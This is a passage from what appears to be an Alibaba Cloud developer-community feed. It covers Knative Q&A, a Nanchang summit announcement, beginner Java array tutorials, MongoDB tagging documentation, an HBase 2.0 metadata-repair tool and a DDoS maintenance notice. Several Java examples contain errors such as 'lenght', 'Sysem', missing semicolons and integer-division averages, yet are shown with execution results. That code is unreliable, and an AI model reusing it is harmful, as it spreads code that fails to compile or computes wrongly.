        Q4:Knative 有哪些成功的行业应用实践?A4:在阿里云上面已经有很多用户在使用了。另外 Google 的 CloudRun 产品完全是建立在 Knative 之上的。

        Q5:Knative 的现状和预期达到的目的?
        A5:Knative 现在已经被众多厂商开始支持了,Knative 的目标是标准化应用 Serverless 编排模型。比如:通过 Knative 对应用进行编排、通过 Knative 支撑上层 faas 系统实现。这里说的应用其实不限于在线服务,很多 AI 任务也是通过 Knative 驱动的,比如分享中提到的 KFServing。

        Q6:缩容时,怎么才能当 pod 内的流量消耗完,再销毁?
        A6:Kubernetes 中 Pod 是可以设置 Prestop 的,Prestop 可以保证先卸载流量,然后再摘除服务。

        Q7:在企业私有云环境部署knative会有哪些挑战?
        A7:只要是标准的 Kubernetes 集群之上就能部署 Knative,不过很多镜像需要翻墙。

        Q8:Istio 层面的管控和维护成本比较高,如 envoy 性能问题、网络问题等,这部分工作是由云平台负责的吗?Knative 这边有没有相应措施?A8:目前阿里云容器服务 Kubernetes 集群控制台可以通过 UI 管理 Istio 和 Knative,可以快速上手。控制台也提供了很多便捷操作降低运维成本。Knative 主要依赖了 Istio 的 Gateway,Gateway 本身是可以横向扩展的,不会有太大影响。

        Q9:容器的冷启动问题如何解决,第一个流量岂不是延时很高?
        A9:如果缩容到零以后,到一个请求的延时是会很高。第一个请求冷启动的问题是一个公认的业界难题,这也是各大云厂商在竞相解决的问题。相比使用云的客户而言,云厂商自己其实更迫切解决这个问题,敬请关注。

        Q10:Knative 的组件本身怎么部署?如何保证 HA?
        A10:Knative 是建立在 Kubernetes 之上的,Knative 组件其实就是 CRD 的 Controller。在 Kubernetes 中 Controller 是可以部署多个实例,通过抢锁保证只有一个 Controller 可以执行写操作,HA 的问题容易解决。

        阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        “阿里云创峰会·南昌站”即将举行,三大亮点抢先看-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 由江西万科牵手阿里云创新中心共同举办的“阿里云创峰会”,将于12月9日登陆江西南昌。

        此次峰会聚焦人工智能、物联网等领域,不仅聚集了知名院士、科学家,知名财经作家,产业、创业孵化、投融资等领域一众国际国内知名人士,还将发布阿里云创新中心项目落地万科·万创科技城等重磅消息。

        image.png

        据了解,国际核能院院士、中国人工智能学会不确定性人工智能专委会主任张勤,中国工程院院士、中芯国际集成电路制造有限公司研发副总裁吴汉明,国家杰出青年基金获得者、中国科学院软件研究所研究员张健,著名财经评论人、财经作家叶檀、Inbo 国际亚洲董事Mark、以色列BaseCamp公司创始人、盖夫亚姆产业园联合创始人Uzy,以及阿里云高层、多个BU负责人、万科高层等,已确认出席本次活动。

        1.jpg

        小编以目前官方流出的会议资料,为大家梳理了本次创投峰会的三大亮点:

        亮点一、“阿里云创峰会”首次来到江西

        “阿里云创峰会”是阿里云创新中心在阿里巴巴集团“五新战略”背景下,为赋能全国科技创新创业群体,于2018年发起的线下活动。

        峰会依托阿里云事业群及阿里巴巴大生态资源,聚合全球、全国权威智库、投资机构、产业资源、媒体资源,探索前沿商业模式、连接阿里巴巴及合作伙伴生态资源,为企业发展赋能加速,助力区域产业数字化升级。

        此前,阿里云创峰会先后在北京、上海、深圳、杭州等一二线城市,围绕新经济、新金融、人工智能、智能制造、智慧城市等领域,举行过诸多场次。

        此次万科·万创科技城项目发布仪式暨阿里云创峰会南昌站的举行,标志着江西万科与阿里云在创新创业领域展开的深入合作进入实际性落地阶段。

        阿里云创新中心作为双方合作的首个落地项目,将入驻赣江新区唯一科创基地“万科·万创科技城”,助力打造创新创业赋能体系,以物联网、智能制造、信息科技等科技元素为企业赋能,带动南昌乃至江西整个区域传统行业的转型升级。

        亮点二、国内外产学研大咖云集,南昌论道产业前沿

        本次创投峰会聚集了国内外智库专家、经济学家、创业孵化、投融资以及互联网企业的知名大咖,小编简要介绍几位将在会议上作重头演讲的嘉宾。

        首先是人工智能等领域的院士、科学家、财经大咖。

        张勤,国际核能院院士,中国科协原副主席,中国人工智能学会不确定性人工智能专委会主任。张勤院士为清华大学教授,其创立了动态不确定因果图(Dynamic Uncertain Causality Graph)人工智能理论模型,并将其成功应用于核电站等在线状态监测、故障预报、故障诊断和发展预测中。2016年7月,当选国际核能院INEA院士,是国际核能院8位中国院士之一。

        吴汉明,中国工程院院士、中芯国际集成电路制造有限公司研发副总裁。其在“十一五”国家重大专项中,主持了“65-45-32纳米成套产品工艺研发”项目,兼任课题“32纳米关键工艺”负责人,是我国在集成电路行业史上投入资金规模最大、难度跨越最高的成套工艺研发项目。

        张健,国家杰出青年基金获得者、中国科学院软件研究所研究员,主要研究领域包括自动推理、约束求解、软件测试与分析。担任《计算机学报》,JCST,Frontiers of CS,IEEE Trans. On Reliability,《中国科学》,《计算机科学与探讨》编委,国家973计划“安全攸关软件系统的构造与质量保障方法研究”首席科学家。获得中创软件人才奖、国家杰出青年科学基金。

        叶檀,著名财经评论人,财经作家,叶檀财经创始人、华鑫股份首席经济学家。曾著有《拿什么拯救中国经济》、《中国房地产战争》等作品,是《每日经济新闻》主笔、《解放日报》经济评论员,央视财经频道特约评论员。在《南方都市报》、《南方人物周刊》、《财经国家周刊》、FT中文网等多家媒体开辟财经评论专栏。曾获《南方人物周刊》2008年度青年领袖、中国证券市场20年回顾与展望论坛最具影响力财经传媒人奖等奖项。

        来自国际上的知名创业孵化服务机构的嘉宾,同样值得关注。

        Uzy,以色列BaseCamp公司创始人、盖夫亚姆产业园联合创始人。Basecamp公司是以色列唯一一家专注人工智能、网络安全、物联网、VR/AR产业领域,系统孵化多个高校学术创新的专业公司,在以色列高科技领域享有盛誉。目前正在运营管理的以色列本古里安大学先进技术园,是以色列最成功的高科技园区之一,并促成了英特尔公司斥资150亿美元收购Mobileye的经典案例,创造了“科技沙漠绿洲”的奇迹,是以色列高科技园区的一张名片。

        此外,曾投出寒武纪、云从科技等人工智能独角兽的知名投资人、元禾原点合伙人乐金鑫,复星投资总经理钟实、LKK洛可可创新设计集团副总裁、洛克城市设计中心总经理蔚江等嘉宾,也将在大会进行主题演讲及进行圆桌对话。

        亮点三、万创科技城牵手阿里云创新中心,赋能江西创新创业

        今年5月,习近平总书记在江西主持了《推动中部地区崛起座谈会》,提出要不断增强中部地区综合实力和竞争力,奋力开创中部地区崛起新局面。

        作为中部地区第2个、全国第18个国家级新区,赣江新区的发展权重也随之不断提升,被赋予承载江西高质量发展、助推中部崛起的历史使命。越来越多的互联网企业及产业龙头公司开始聚焦有着丰沃产业、人才、环境资源的赣江新区,江西省“产业高地”雏形正加速形成。

        本次峰会是由江西万科与阿里云创新中心,携手多家机构共同举办。产业资源、创投资源、以及创新创业服务资源强强联合,力图打造江西南昌创新创业新高地。

        今年8月,万科•万创科技城落子赣江新区,将着力打造三大中心——阿里云创新中心、国际创新中心和金融服务中心,聚焦发展人工智能、云计算、物联网等智慧产业集群,助推江西加大科技创新工作力度,不断提高开发利用技术水平,延伸产业链,提高附加值,实现绿色可持续发展。

        据了解,本次峰会上,举行万科·万创科技城项目发布仪式的同时,也将举行科技城首个中心即阿里云创新中心的签约仪式,这标志着江西万科与阿里云在创新创业领域展开的深入合作进入实际性落地阶段。

        此外,峰会还通过圆桌论坛、嘉宾智慧碰撞等方式,集众智、汇众力,为南昌乃至江西的创新创业赋能,推动区域产业升级。

        了解活动详情,报名请点入:
        https://www.huodongxing.com/event/9521342669100

        image.png

        ]]>
        以线及面--进入二维数组的世界 | 带你学《Java面向对象编程》之十六-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:又见引用--数组元素的奇妙之旅 |带你学《Java面向对象编程》之十五
        【本节目标】
        通过阅读本节内容,你将拓展思维,以线及面,初步了解到数据的魅力,并学会二维数组的定义与初始化相关方法。

        二维数组

        在之前所定义的数组里面会发现只有一个“[]”,所以这个时候的数组就好像一行数据一样,可以利用下标进行行数据的访问。

        • 传统的数组就好比一行数据,如果要想找到一个数据只需要确定一个下标即可;

        表一 传统数组
        image.png

        • 如果说现在需要一个多行多列的结构(表),则就需要通过两个下标才可以描述出一个数据,行下标与列下标共同定义才可以找到,所以这样的数组形式就称为二维数组。

        表二 二维数组
        image.png

        对于二维数组可以使用的定义语法如下:

        • 数组的动态初始化

          • 数据类型 数组名称 [][] = new 数据类型 行个数
        • 数组的静态初始化

          • 数据类型 数组名称 [][] =new 数据类型 [][] { {数据,数据,……},{数据,数据,……},{数据,数据,……},……}

        范例:定义二维数组

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] []= new int [] []{{1,2,3,4,5},{1,2,3},{5,6,7,8}} ;
             }
        }

        表三 表示程序结果
        image.png

        既然二维数组的每一行都属于一个数组,那么这种情况下就可以通过每一行的数组求出数组长度。

        public class ArrayDemo {
           public static void main (String args[ ]) {
              int data [] []= new int [] []{{1,2,3,4,5},{1,2,3},{5,6,7,8}} ;
              for (int x = 0 ; x < data.length ; x ++ ){
                 for(int y = 0 ;y <data[x].length ; y ++){
                System.out.println(“data[“+x+”][“+y+”] = ”+ data[x][y]) ;
                 }
                 System.out.println() ;    //换行
              }
           }
        }

        image.png
        图一 执行结果一

        如果这时要求使用foreach来进行输出呢?
        范例:使用foreach输出二维数组

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] []= new int [] []{{1,2,3,4,5},{1,2,3},{5,6,7,8}} ;
                 for (int temp [] : data) {
                    for(int num : temp) {
                       Sysem.out.println(num + “、”)
                     }
                     System.out.println() ;    //换行
                 }
            }
        }

        image.png
        图二 执行结果二

        通过foreach的输出格式可以清楚地观察到,二维数组就是数组的嵌套使用。随着尅发技术的发展,如果要进行一些应用层的程序开发,那么很少会涉及到二维数组,更不用说更高级的多维数组了。
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:熟练运用数组,看这篇就够了 | 带你学《Java面向对象编程》之十七
        更多Java面向对象编程文章查看此处

        ]]>
        熟练运用数组,看这篇就够了 | 带你学《Java面向对象编程》之十七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:以线及面--进入二维数组的世界 | 带你学《Java面向对象编程》之十六
        【本节目标】
        通过阅读本节,你将了解到数组在方法调用中的内存变化,初步了解到程序“设计”的含义,并掌握使用方法完成对数组的操作以满足某些需求的能力。

        数组与方法

        对于引用数据类型而言,主要的特点是可以与方法进行引用传递,而数组本身也属于引用数据类型,所以自然也可以通过方法实现引用传递操作。
        范例:实现一个数组的引用传递

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {1,2,3,4,5} ;
                 printArray(data) ;     //传递数组
             }
        //要求接收一个int型的数组
             public static void printArray(int temp []) {
                 for (int x = 0 ; x < temp.lenght ; x ++) {
                    System.out.println(temp[x]) ;
                 }
             }
        }

        image.png
        图一 执行结果一

        对于此时的引用传递具体的内存关系如下。

        image.png
        图二 内存分析结果一

        既然可以通过方法来接收一个数组,那么也就可以通过方法返回一个数组对象,那么此时只需要在方法的返回值类型上进行控制即可。
        范例:定义方法返回数组

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = initArray() ;    //通过方法可以获得数组内容
                 printArray(data) ;     //传递数组
             }
             public static int [] initArray () {
             int arr [] = new int [] {1,2,3,4,5} ;
             return arr ;         //返回一个数组
             }
        //要求接收一个int型的数组
             public static void printArray(int temp []) {
                 for (int x = 0 ; x < temp.lenght ; x ++) {
                    System.out.println(temp[x]) ;
                 }
             }
        }

        image.png
        图三 执行结果二

        接下来针对于此程序进行内存关系分析。

        image.png
        图四 内存分析结果二

        范例:通过方法修改数组内容

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {1,2,3,4,5} 
                 changeArray(data) ;    //修改数组内容
                 printArray(data) ;     //传递数组
            }
            public static void changeArray(int arr[]) {
                for (int x = 0 ;x < arr.length ; x ++) {
                    arr[x] *= 2 ;          //每个元素的内容乘2保存
                }
            }
        //要求接收一个int型的数组
            public static void printArray(int temp []) {
                for (int x = 0 ; x < temp.lenght ; x ++) {
                    System.out.println(temp[x]) ;
                }
            }
        }

        image.png
        图五 修改数组内容执行结果

        本程序的内存关系如下:

        image.png
        图六 内存分析结果图三

        案例

        随意定义一个int数组,要求可以计算出这个数组元素的总和、最大值、最小值、平均值。
        对于此程序最基本的实现如下:

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {1,2,3,4,5} 
                 int sum = 0 ;
                 double avg = 0.0 ;
                 int max = data[0] ;       //假设第一个是最大值
                 int min = data[0] ;       //假设第一个是最小值
                 for(int x = 0 ; x < data.length ; x ++){
                    if(data[x] > max) {        //max地位改变
                        max = data[x] ;
                    }
                    if(data[x] < min) {
                        min = data[x] ;
                    }
                 sum += data[x] ;
                 } 
                 avg = sum / data.length ;
                 System.out.println(“数组内容总和:” + sum) ;
                 System.out.println(“数组内容平均值:” + avg) ;
                 System.out.println(“数组内容最大值:” + max) ;
                 System.out.println(“数组内容最小值:” + min) ;
             }
             public static void printArray(int temp []) {
                 for (int x = 0 ; x < temp.lenght ; x ++) {
                    System.out.println(temp[x]) ;
                 }
             }
         }

        image.png
        图七 求值结果图

        主方法所在的类往往被称为主类,那么既然是主类肯定不希望涉及到过于复杂的功能。在进行开发的过程当中,主方法本身就相当于是一个客户端,而对于客户端的代码应该尽量简单一些,所以这个时候最好的做法是将这一系列的计算过程交给单独的程序类去完成。
        范例:改善操作设计

        class ArrayUtil {          //是一个操作工具的类
           private int sum ;         //保存总和
           private double avg ;      //保存平均值
           private int max ;         //保存最大值
           private int min ;         //保存最小值
           public ArrayUtil(int data[]) {     //进行数组计算
                this.max = data[0] ;       //假设第一个是最大值
                this.min = data[0] ;       //假设第一个是最小值
                for(int x = 0 ; x < data.length ; x ++){
                    if(data[x] > max) {        //max地位改变
                       this.max = data[x] ;
                    }
                    if(data[x] < min) {
                       this.min = data[x] ;
                    }
                  this.sum += data[x] ;
                } 
                this.avg = this.sum / data.length ;
            }
            public int getSum() {
               return this.sum ;
            }
            public double getAvg() {
               return this.avg ;
            }
            public int getMax() {
               return this.max ;
            }
            public int getMin() {
               return this.min ;
            }
        }
        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {1,2,3,4,5} 
                 ArrayUtil util = new ArrayUtil(data) ;   //数据计算
                 System.out.println(“数组内容总和:” + util.getSum()) ;
                 System.out.println(“数组内容平均值:” + util.getAvg()) ;
                 System.out.println(“数组内容最大值:” + util.getMax()) ;
                 System.out.println(“数组内容最小值:” + util.getMin()) ;
        
             }
        }

        image.png
        图八 求值结果图二

        此时的主类就好比我们使用的电脑一样,只关心如何操作,而具体的操作过程被类进行包装了。
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:数组排序-触摸算法的门槛 | 带你学《Java面向对象编程》之十八
        更多Java面向对象编程文章查看此处

        ]]>
        标记您的MongoDB数据库实例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 云数据库 MongoDB版标签基本概述
        1. 标签基本定义

          • 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。
          • 标签与资源是 多对多的关系。
        2. 标签基本限制

          • 最大键(key)长度:128 个 Unicode 字符
          • 最大值(value)长度:128 个 Unicode 字符
          • 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。
          • 允许的字符包括 Unicode 字母、空格和数字,以及以下特殊字符为

            • 匹配这些中文标点符号 。?!,、;:“ ” ‘ ’( ) 《 》 〈 〉 【 】 『 』 「 」 ﹃ ﹄ 〔 〕 … — ~ ﹏ ¥
            • 匹配这些英文标点符号 -.!@#$%?/^&*)(+={}[]",'<>~·`?:;|_
          • 每个资源的最大 自定义 标签数:20
          • 键(key)不支持 aliyun、acs: 开头。 不允许包含http://https:// 。不允许为空字符串。
          • 值(value)不允许包含http://https:// 。允许为空字符串。
        3. 标签在MongoDB中的作用

          标签可以识别资源和用户组,允许企业或个人将相同作用的云数据库MongoDB资源归类,便于搜索和资源聚合。
          云数据库MongoDB支持对云数据库实例添加和绑定标签。

        标签设计最佳实践

        云数据库 MongoDB版标记标签的操作方式

        1. 控制台操作

        通过控制台标记资源
        操作步骤

        1. API操作

        通过API标记资源
        调用方式

        1. 多语言SDK操作

        通过sdk方式调用标签操作接口,代码示例仿照:
        Mongo云数据库SDK概述

        通过标签搜索云数据库MongoDB实例的方式(以MongoDB为例)

        1. 控制台操作

        控制台检索资源操作步骤

        1. API 操作

        API检索资源
        调用方式

        1. 多语言SDK操作

        通过sdk方式调用标签操作接口,代码示例仿照:
        MongoDB云数据库SDK概述

        相关文档

        标记您的 CDN 资源——域名(domain)
        标记您的 OSS 资源
        标记您的 RDS 资源
        标记您的 SLB 资源
        标记您的 ECS 资源
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签

        ]]>
        HBase 2.0.0 META 数据修复工具-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 问题起因

        必须先吐槽一下 Cloudera 6.x 和 Hbase 2.0 太坑了!

        不久前生产上的一套Hbase集群出现著名的RIT(Regions in Transition)问题。

        查看hbase web ui
        1

        于是通过hbck命令查看一下集群状态,果然好多inconsistency

         ...
         ERROR: Region { meta => XXX,XXX:,1573019231000.ff2aecaf28917792395c341d01e0b8cc., hdfs => hdfs://nameservice1/hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc, deployed => , replicaId => 0 } not deployed on any region server.
         ...
         ERROR: Found inconsistency in table XXX
         ...
         9 inconsistencies detected.
         Status: INCONSISTENT

        看到错误提示问题明显了,这个Region在hdfs中有数据文件但没有依赖任何Region Server,原因可能region被原来的Region Server unassigned了,但是还没有被assigned到一个新的Region Server上。

        那么尝试用hbase hbck -repairhbase hbck -fixMeta -fixAssignments来修复吧,于是就有了下面的提示,hbase2.0+以后hbck的所有修复功能全都不支持...

        -----------------------------------------------------------------------
        NOTE: As of HBase version 2.0, the hbck tool is significantly changed.
        In general, all Read-Only options are supported and can be be used
        safely. Most -fix/ -repair options are NOT supported. Please see usage
        below for details on which options are not supported.
        -----------------------------------------------------------------------
        
        NOTE: Following options are NOT supported as of HBase version 2.0+.
        
          UNSUPPORTED Metadata Repair options: (expert features, use with caution!)
           -fix              Try to fix region assignments.  This is for backwards compatiblity
           -fixAssignments   Try to fix region assignments.  Replaces the old -fix
           -fixMeta          Try to fix meta problems.  This assumes HDFS region info is good.
           -fixHdfsHoles     Try to fix region holes in hdfs.
           ...
          UNSUPPORTED Metadata Repair shortcuts
           -repair           Shortcut for -fixAssignments -fixMeta -fixHdfsHoles -fixHdfsOrphans -fixHdfsOverlaps -fixVersionFile -sidelineBigOverlaps -fixReferenceFiles-fixHFileLinks
           -repairHoles      Shortcut for -fixAssignments -fixMeta -fixHdfsHoles
        

        既然hbck不支持,觉得hbase总得有解决方案吧,科学上网后发现hbase2.0+提供了一个叫hbck2工具,不过得自己编译麻烦了点。
        克隆下来准备动手编译发现不对,于是仔细看了一下hbck2的介绍,最低支持版本2.0.3和2.1.1
        image

        image

        WTF......这就是个黑洞啊,还有你就不能把支持的版本号字体放大点吗!

        修复方案

        吐槽过后,还是得想解决办法啊:

        1. 升级Hbase版本

          • 目前这种情况是根本无法升级的,存量数据怎么办,就算数据可以重入,目前使用的hbase是CDH版,Cloudera 6.x版本集成的hbase只有2.0.0和2.1.0版本,还是黑洞。。。此方案行不通。
        2. 暴力删除hbase数据

          • 暴力删除数据,格式化hdfs,删除hbasemeta数据,删除zookeeper记录,这和重新部署一套hbase差不多了,但是前提是数据可以重入或者允许清除,那以后怎么办,总不能一遇到问题就删库吧,生产上面的数据一般都比较敏感根本不能删。。。此方案行不通。
        3. 写个工具修复hbase

          • 看来只能这样了。。。

        修复步骤

        回到最初的错误提示,思考一下,如果Region下数据文件在hdfs中存在,那是否可以通过.regioninfo文件(hdfs存储hbase region信息的文件)获取Region信息,同时读取'hbase:meta'表中的Region信息,进行对比取差集就是要修复的Region,然后将需要修复的Region信息再写入到'hbase:meta'中。

        按照这个思路,先验证一下hdfs
        检测一下hbase的block是否完整 hdfs fsck /hbase

        Status: HEALTHY
         Number of data-nodes:  12
         Number of racks:               1
         Total dirs:                    4650
         Total symlinks:                0
        ...
        The filesystem under path '/hbase' is HEALTHY

        检查一下.regioninfo文件是否完整 hadoop fs -ls /hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc

        Found 4 items
        -rw-r--r--   3 hbase hbase         65 2019-10-26 18:29 /hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc/.regioninfo
        drwxr-xr-x   - hbase hbase          0 2019-11-26 09:37 /hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc/.tmp
        drwxr-xr-x   - hbase hbase          0 2019-11-26 13:59 /hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc/0
        drwxr-xr-x   - hbase hbase          0 2019-10-26 18:29 /hbase/data/default/XXX/ff2aecaf28917792395c341d01e0b8cc/recovered.edits
        

        再看一下'hbase:meta'中的存储结构:

        列名 说明
        info:state Region状态
        info:sn Region Server Node,由 server和serverstartcode组成,如slave1,16020,1557998852385
        info:serverstartcode Region Server启动Code,实质上就是Region Server启动的时间戳
        info:server Region Server 地址和端口,如slave1:16020
        info:seqnumDuringOpen 表示Region在线时长的一个二进制串
        info:regioninfo Region Info,和.regioninfo内容相同

        OK,觉得这个方案可行,接下来就开始动手coding吧

        获取'hbase:mata'中的Region信息

            public Set<String> getMetaRegions(Configuration conf, String tableName) throws Exception {
        
                Connection conn = ConnectionFactory.createConnection(conf);
                Table table = conn.getTable(TableName.valueOf(TABLE));
        
                PrefixFilter filter = new PrefixFilter(Bytes.toBytes(tableName + ","));
        
                Scan scan = new Scan();
                scan.setFilter(filter);
        
                Set<String> metaRegions = new HashSet<>();
        
                Iterator<Result> iterator = table.getScanner(scan).iterator();
                while (iterator.hasNext()) {
                    Result result = iterator.next();
                    metaRegions.add(Bytes.toString(result.getRow()));
                }
        
                conn.close();
        
                return metaRegions;
            }

        读取.regioninfo中的Region信息

            public Map<String, RegionInfo> getHdfsRegions(Configuration conf, String tablePath) throws Exception {
        
                FileSystem fs = FileSystem.get(conf);
                Path path = new Path(hdfsRootDir + "/data/default/" + tablePath + "/");
        
                Map<String, RegionInfo> hdfsRegions = new HashMap<>();
        
                FileStatus[] list = fs.listStatus(path);
                for (FileStatus status : list) {
                    if (!status.isDirectory()) {
                        continue;
                    }
        
                    boolean isRegion = false;
                    FileStatus[] regions = fs.listStatus(status.getPath());
                    for (FileStatus regionStatus : regions) {
                        if (regionStatus.toString().contains(REGION_INFO_FILE)) {
                            isRegion = true;
                            break;
                        }
                    }
        
                    if (!isRegion) {
                        continue;
                    }
        
                    RegionInfo hri = HRegionFileSystem.loadRegionInfoFileContent(fs, status.getPath());
                    hdfsRegions.put(hri.getRegionNameAsString(), hri);
        
                }
                return hdfsRegions;
            }

        两者进行对比取差集

                Set<String> metaRegions = getMetaRegions(configuration, repairTableName);
        
                Map<String, RegionInfo> hdfsRegions = getHdfsRegions(configuration, repairTableName);
        
                Set<String> hdfsRegionNames = hdfsRegions.keySet();
        
                metaRegions.removeAll(hdfsRegionNames);

        构造META信息并写入HBase

                ServerName[] regionServers = admin.getRegionServers().toArray(new ServerName[0]);
                
                int rsLength = regionServers.length;
                int i = 0;
                for (String regionName : hdfsRegionNames) {
        
                    String sn = regionServers[i % rsLength].getServerName();
                    String[] snSig = sn.split(",");
        
                    RegionInfo hri = hdfsRegions.get(regionName);
                    Put info = MetaTableAccessor.makePutFromRegionInfo(hri, EnvironmentEdgeManager.currentTime());
                    info.addColumn(Bytes.toBytes(FAMILY), Bytes.toBytes(SN), Bytes.toBytes(sn));
                    info.addColumn(Bytes.toBytes(FAMILY), Bytes.toBytes(SERVER), Bytes.toBytes(snSig[0] + ":" + snSig[1]));
                    info.addColumn(Bytes.toBytes(FAMILY), Bytes.toBytes(STATE), Bytes.toBytes("OPEN"));
        
                    table.put(info);
                    i++;
                }

        重启Region Server 和 Hbase Master,重启之后会自动生成'info:seqnumDuringOpen'以及'info:serverstartcode'

        工具开发完成后,找了个环境验证了一下,没出什么问题,接下来就部署到生产上试试了,反正hbase已经这个样子,死马当司马懿吧。

        先用了个region不多的表试验,发现可以呀,然后陆续把所有错误的表都修复一遍,重启hbase,接下来就是见证BUG的时刻:

        ...
        0 inconsistencies detected.
        Status: OK

        hbase修复完成 此处有掌声

        修复工具

        本着开源精神,工具已上传GitHub : hbase-meta-repair

        image

        ]]>
        数组排序-触摸算法的门槛 | 带你学《Java面向对象编程》之十八-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:熟练运用数组,看这篇就够了 | 带你学《Java面向对象编程》之十七
        【本节目标】
        通过阅读本节内容,你将学会通过循环巧妙地实现数组排序问题,并通过控制台输出结果分析代码异常,解决异常,最终完成设计,初步步入算法的领域。

        数组操作案例:数组排序

        数组排序指的是可以将一个杂乱的数组按照顺序进行码放,但是对于数组排序总是通过一个基础的模型完成的,例如:本次先通过一个升序排序的方式来观察排序的处理。

        image.png
        图一 排序过程

        范例:数组排序分析

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {8,9,0,2,3,5,10,7,6,1} ;
                 for (int y = 0 ; y < data.length ; y ++) {
                    if (data[y] > data[y + 1]){
                        int temp = data[y] ;
                        data[y] = data[y + 1] ;
                        data[y + 1] = temp ;
                    }
                  }
                  printArray(data) ;
             }
             public static void printArray(int temp []) {
                 for (int x = 0 ; x < temp.lenght ; x ++) {
                     System.out.print (temp[x] + “、”) ;
                 }
             System.out.println() ;
             }
        }

        image.png
        图二 运行结果一

        发生数组越界,修改:

        for (int y = 0 ; y < data.length-1 ; y ++)

        image.png
        图三 运行结果二

        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {8,9,0,2,3,5,10,7,6,1} ;
                 for (int x =0 ; x < data.length ; x ++) {
                   for (int y = 0 ; y < data.length-1 ; y ++) {
                      if (data[y] > data[y + 1]){
                         int temp = data[y] ;
                         data[y] = data[y + 1] ;
                         data[y + 1] = temp ;
                       }
                    }
                 }
                printArray(data) ;
             }
             public static void printArray(int temp []) {
                 for (int x = 0 ; x < temp.lenght ; x ++) {
                     System.out.print (temp[x] + “、”) ;
                 }
                 System.out.println() ;
             }
        }

        image.png
        图四 执行结果三

        针对于已经排好序的,不需要再次进行比较,修改

        for (int y = 0 ; y < data.length-x-1 ; y ++)

        image.png
        图五 执行结果四

        以上的程序代码都是通过主方法完成的,不符合面向对象的设计结构,最好的做法是将这个排序处理的操作交给一个类进行处理完成。
        优化:

        class ArrayUtil {
           public static void sort(int data[]) {    //进行数组的排序处理
               for (int x =0 ; x < data.length ; x ++) {
                   for (int y = 0 ; y < data.length-x-1 ; y ++) {
                      if (data[y] > data[y + 1]){      //交换数据
                         int temp = data[y] ;
                         data[y] = data[y + 1] ;
                         data[y + 1] = temp ;
                      }
                    }
                }
           }
           public static void printArray(int temp []) {
               for (int x = 0 ; x < temp.lenght ; x ++) {
                  System.out.print (temp[x] + “、”) ;
               }
               System.out.println() ;
            }
        }
        public class ArrayDemo {
             public static void main (String args[ ]) {
                 int data [] = new int [] {8,9,0,2,3,5,10,7,6,1} ;
                 ArrayUtil.sort(data) ;         //排序
                 ArrayUtil.printArray(data) ;
             }    
        }

        image.png
        图六 优化后执行结果

        在以后进行类设计的时候,如果发现类中没有属性存在的意义,那么定义的方法就没有必要使用普通方法了,因为普通方法需要在有实例化对象产生的情况下才可以调用。
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        更多Java面向对象编程文章查看此处

        ]]>
        【升级】12月5日、6日DDoS高防(国际)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:

        北京时间 2019年12月5日 17:00-21:30

        北京时间 2019年12月6日 17:00-21:30

        升级内容:DDoS高防(国际)美东机房进行网络升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        阿里重磅开源全球首个批流一体机器学习平台Alink,Blink功能已全部贡献至Flink-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 蔡芳芳
        采访嘉宾 | 王峰(花名莫问)

